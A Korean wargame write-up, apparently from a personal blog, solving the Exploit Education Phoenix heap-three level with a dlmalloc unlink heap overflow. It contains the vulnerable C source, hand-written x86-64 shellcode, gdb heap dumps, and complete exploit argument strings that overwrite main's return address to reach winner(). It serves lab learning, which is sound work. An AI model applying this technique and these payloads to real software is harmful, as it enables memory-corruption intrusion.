1. intro
2. code 및 분석
2.1. C code
/*
* phoenix/heap-three, by https://exploit.education
*
* This level is linked against ftp://gee.cs.oswego.edu/pub/misc/malloc-2.7.2.c
* version 2.7.2, with a SHA1 sum of 407329d164e4989b59b9a828760acb720dc5c7db
* more commonly known as "dlmalloc", Doug Lea Malloc
*
* Can you hijack flow control, and execute winner()? Afterwards, how
* about your own code? This level is solvable on Linux i386 easily enough,
* as for other architectures, it may not be possible, or may require some
* creativity - let me know what you come up with :)
*
* My friend told me that nothing rhymes with orange.
* I told them, "No, it doesn't".
*
* Or, more seriously, https://www.youtube.com/watch?v=lPcR5RVXHMg
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
void winner() {
printf("Level was successfully completed at @ %ld seconds past the Epoch\n",
time(NULL));
}
int main(int argc, char **argv) {
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
2.2. 분석
a, b, c 변수에 각각 32 bytes의 heap 할당 후 주소를 삽입한다.
이후 argv[1]~[3]을 해당 영역에 삽입하고 c부터 free 한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
strcpy시 크기를 체크하지 않아 heap overflow가 발생한다.
이를 통해 P flag를 변조할 수 있고, 코드에서 heap 영역을 차례대로 free 하고 있기에 continuous free (double free) bug가 발생하게 된다.
3.2. 공격 준비
문제의 주석에서 보듯 32 bit 환경이 아니면 풀기 어렵다고 한다.
무엇보다 bash가 \x00를 필터링하는 것, 그리고 \x0a 삽입이 불가능하다는 점이 문제를 푸는데 큰 방해를 한다.
기본적인 원리는 아래를 참조.
2022.10.06 - [Tips & theory] - Continuous free bug (double free bug)
일단 \x0a 삽입이 불가능하기에 이번 문제도 argv의 shellcode 영역으로 jmp하려 한다.
2022.10.04 - [Wargame/Exploit Education] - [Phoenix] Heap one
shellcode는 아래와 같이 작성하였다.
.globl main
main:
xor %rax,%rax
mov $0xffffffffffffffff,%rax
sub $0xFFFFFFFFFFBFF5c2,%rax
push %rax
ret
0000000000000660 <main>:
660: 48 31 c0 xor %rax,%rax
663: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax
66a: 48 2d c2 f5 bf ff sub $0xffffffffffbff5c2,%rax
670: 50 push %rax
671: c3 retq
672: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
679: 00 00 00
67c: 0f 1f 40 00 nopl 0x0(%rax)
\x48\x31\xc0\x48\xc7\xc0\xff\xff\xff\xff\x48\x2d\xc2\xf5\xbf\xff\x50\xc3
이후 \x00 삽입이 불가능하기에 이런 작전을 세웠다.
a heap에서 overflow하여
b heap의 P flag 해제 및 pre_size를 c 영역을 가리키도록 세팅하고
c 영역 끝에 unlink시 사용할 bk 값을 삽입.
b heap에서 overflow 하여
c heap이 정상적으로 free 되도록 조작하고
a heap overflow시 덮어 씌운 위치 중 1 byte에 \x00를 삽입
c heap에서 \x00 값 1 byte을 추가로 삽입하며 fd 값 삽입
이를 실제로 보면 아래와 같다.
인자 값
`python -c 'print "a"*(8*4) + "1"*8 + "2"*8 + "a"*8*8 + "AAAAAA"'` `python -c 'print "b"*32 + "B"*8 + "C"*8 + "D"*9 + "F"*6'` `python -c 'print "c"*8 + "G"*6'`
heap 할당 직후
gef> x/40gx 0x00007ffff7ef6000
0x7ffff7ef6000: 0x0000000000000000 0x0000000000000031
0x7ffff7ef6010: 0x0000000000000000 0x0000000000000000
0x7ffff7ef6020: 0x0000000000000000 0x0000000000000000
0x7ffff7ef6030: 0x0000000000000000 0x0000000000000031
0x7ffff7ef6040: 0x0000000000000000 0x0000000000000000
0x7ffff7ef6050: 0x0000000000000000 0x0000000000000000
0x7ffff7ef6060: 0x0000000000000000 0x0000000000000031
0x7ffff7ef6070: 0x0000000000000000 0x0000000000000000
0x7ffff7ef6080: 0x0000000000000000 0x0000000000000000
0x7ffff7ef6090: 0x0000000000000000 0x00000000000fff71
첫 strcpy 시
a heap에서 overflow 하여
b heap의 P flag 해제 및 pre_size를 c 영역을 가리키도록 세팅하고
c 영역 끝에 unlink시 사용할 bk 값을 삽입.
gef> x/40gx 0x00007ffff7ef6000
0x7ffff7ef6000: 0x0000000000000000 0x0000000000000031
0x7ffff7ef6010: 0x6161616161616161 0x6161616161616161
0x7ffff7ef6020: 0x6161616161616161 0x6161616161616161
0x7ffff7ef6030: 0x3131313131313131 0x3232323232323232 <- b heap
0x7ffff7ef6040: 0x6161616161616161 0x6161616161616161
0x7ffff7ef6050: 0x6161616161616161 0x6161616161616161
0x7ffff7ef6060: 0x6161616161616161 0x6161616161616161 <- c heap
0x7ffff7ef6070: 0x6161616161616161 0x6161616161616161
0x7ffff7ef6080: 0x0000414141414141 0x0000000000000000
0x7ffff7ef6090: 0x0000000000000000 0x00000000000fff71
여기서
0x3131313131313131은 b의 pre_size
0x3232323232323232는 b의 P flag
0x0000414141414141는 추후 bk로 사용될 값임
두 번째 strcpy에서
b heap에서 overflow 하여
c heap의 P flag 해제 및 pre_size를 c 영역을 가리키도록 세팅하고
c 영역에 unlink시 사용할 fd 값을 위해 a heap overflow시 덮어 씌운 위치 중 1 byte에 \x00를 삽입
gef> x/40gx 0x00007ffff7ef6000
0x7ffff7ef6000: 0x0000000000000000 0x0000000000000031
0x7ffff7ef6010: 0x6161616161616161 0x6161616161616161
0x7ffff7ef6020: 0x6161616161616161 0x6161616161616161
0x7ffff7ef6030: 0x3131313131313131 0x3232323232323232 <- b heap
0x7ffff7ef6040: 0x6262626262626262 0x6262626262626262
0x7ffff7ef6050: 0x6262626262626262 0x6262626262626262
0x7ffff7ef6060: 0x4242424242424242 0x4343434343434343 <- c heap
0x7ffff7ef6070: 0x4444444444444444 0x0046464646464644
0x7ffff7ef6080: 0x0000414141414141 0x0000000000000000
0x7ffff7ef6090: 0x0000000000000000 0x00000000000fff71
0x4242424242424242는 c pre_size
0x4343434343434343은 c P flag 해제를 위한 값이 되며
0x7ffff7ef607f 위치가 0x00으로 세팅됨.
c heap에서 \x00 값 1 byte을 추가로 삽입하며 fd 값 삽입
gef> x/40gx 0x00007ffff7ef6000
0x7ffff7ef6000: 0x0000000000000000 0x0000000000000031
0x7ffff7ef6010: 0x6161616161616161 0x6161616161616161
0x7ffff7ef6020: 0x6161616161616161 0x6161616161616161
0x7ffff7ef6030: 0x3131313131313131 0x3232323232323232 <- b heap
0x7ffff7ef6040: 0x6262626262626262 0x6262626262626262
0x7ffff7ef6050: 0x6262626262626262 0x6262626262626262
0x7ffff7ef6060: 0x4242424242424242 0x4343434343434343 <- c heap
0x7ffff7ef6070: 0x6363636363636363 0x0000474747474747
0x7ffff7ef6080: 0x0000414141414141 0x0000000000000000
0x7ffff7ef6090: 0x0000000000000000 0x00000000000fff71
0x7ffff7ef607e 위치를 0x00으로 세팅하며 fd 값 삽입
과 같이 풀어낼 것이다.
여기서 변조할 주소는 main의 ret address이고 변조할 값은 argv 영역이 될 것이다.
4. Exploit
아오 빡세...
조건 하나 만족하면 다른 조건으로 태클 걸고
그걸 만족하면 또 다른 걸로 태클 걸고...
어찌 됐던 결국 맞췄다.
gef> r `python -c 'print "A"*8*3 + "\xff\xff\xff\xff\xff\xff\xff\xff" + "\xb8\xff\xff\xff\xff\xff\xff\xff" + "\xf0\xff\xff\xff\xff\xff\xff\xff" + "E"*8*10 + "\x78\xe5\xff\xff\xff\x7f"'` `python -c 'print "\x90"*8*4 + "\x48\x31\xc0\x48\xc7\xc0\xff\xff\xff\xff\x48\x2d\xc2\xf5\xbf\xff\x50\xc3"+"B"*(8*5-18) + "B"*7'` `python -c 'print "C"*8*3 + "\xa0\xe8\xff\xff\xff\x7f"'`
Starting program: /opt/phoenix/amd64/heap-three `python -c 'print "A"*8*3 + "\xff\xff\xff\xff\xff\xff\xff\xff" + "\xb8\xff\xff\xff\xff\xff\xff\xff" + "\xf0\xff\xff\xff\xff\xff\xff\xff" + "E"*8*10 + "\x78\xe5\xff\xff\xff\x7f"'` `python -c 'print "\x90"*8*4 + "\x48\x31\xc0\x48\xc7\xc0\xff\xff\xff\xff\x48\x2d\xc2\xf5\xbf\xff\x50\xc3"+"B"*(8*5-18) + "B"*7'` `python -c 'print "C"*8*3 + "\xa0\xe8\xff\xff\xff\x7f"'`
dynamite failed?
Level was successfully completed at @ 1665567661 seconds past the Epoch
문제 파일에서는 도저히 맞출 자신이 없었는데 대충 주소 변경을 통해 때려 맞췄다.
user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-three `python -c 'print "A"*8*3 + "\xff\xff\xff\xff\xff\xff\xff\xff" + "\xb8\xff\xff\xff\xff\xff\xff\xff" + "\xf0\xff\xff\xff\xff\xff\xff\xff" + "E"*8*10 + "\x58\xe5\xff\xff\xff\x7f"'` `python -c 'print "\x90"*8*4 + "\x48\x31\xc0\x48\xc7\xc0\xff\xff\xff\xff\x48\x2d\xc2\xf5\xbf\xff\x50\xc3"+"B"*(8*5-18) + "B"*7'` `python -c 'print "C"*8*3 + "\xa8\xe8\xff\xff\xff\x7f"'`
Level was successfully completed at @ 1665567921 seconds past the Epoch
Segmentation fault
이 문제를 며칠이나 잡고 있었는지 모르겠다!!!!!!!!!!!!!!!!!!!!!
으으으 빡쳐!!!!!!!!!!!!!!!!!!!
사실 이걸 다시 정리하기도 싫다.
대충 페이로드를 쪼개 보면 아래와 같다.
argv1
`python -c 'print
"A"*8*3 #dummy
+ "\xff\xff\xff\xff\xff\xff\xff\xff" #b chunk의 size 값과 함께 연산할 영역
+ "\xb8\xff\xff\xff\xff\xff\xff\xff" #b chunk의 pre_size 부분
+ "\xf0\xff\xff\xff\xff\xff\xff\xff" #b chunk의 size 부분
+ "E"*8*10 #dummy
+ "\x58\xe5\xff\xff\xff\x7f"'`#c chunk에 쓴 b chunk bk 값
argv2
`python -c 'print
"\x90"*8*4 #nop sled 인데 쓸모 없음. 그냥 dummy
+ "\x48\x31\xc0\x48\xc7\xc0\xff\xff\xff\xff\x48\x2d\xc2\xf5\xbf\xff\x50\xc3" #shellcode
+"B"*(8*5-18) #dummy
+ "B"*7'` #b chunk free 시 사용할 fd 값의 \x00?????????????? 를 만들기 위함.
argv3
`python -c 'print
"C"*8*3 #dummy
+ "\xa8\xe8\xff\xff\xff\x7f"'` #b chunk fd 값
처음에 argv1의 값 중 b chunk pre_size와 size 부분을 0xfffffffffffffff8로 두고 bk를 삽입하고,
argv3의 fd 값만 삽입하고 시도하였는데,
argv1의 b chunk size와 함께 연산할 영역의 값으로 인해 자꾸 이상하게 계산되기에 -1을 넣어 우회했다.
더불어 fd와 bk의 원래 역할처럼
bk + 0x18 위치에 fd 값, fd + 0x10위치에 bk 값
을 복사하기에 shellcode를 덮어씌울 가능성이 있다.
다행히 shellcode 길이가 18 bytes이기에 bk + 0x18 위치에 fd 값이 쓰여지는 것을 사용해서 shellcode 뒤에 삽입되도록 위치를 조정했다.
만일 fd, bk의 위치가 바뀐다면 이것이 불가능하다.
진짜 이건 다음에 보더라도 내가 이해할 수 있을지 모르겠다 -_-
'Wargame > Exploit Education' 카테고리의 다른 글
[Phoenix] Net one (0) | 2022.10.13 |
---|---|
[Phoenix] Net zero (0) | 2022.10.13 |
[Phoenix] Heap two (0) | 2022.10.06 |
[Phoenix] Heap one (0) | 2022.10.04 |
[Phoenix] Heap zero (0) | 2022.09.30 |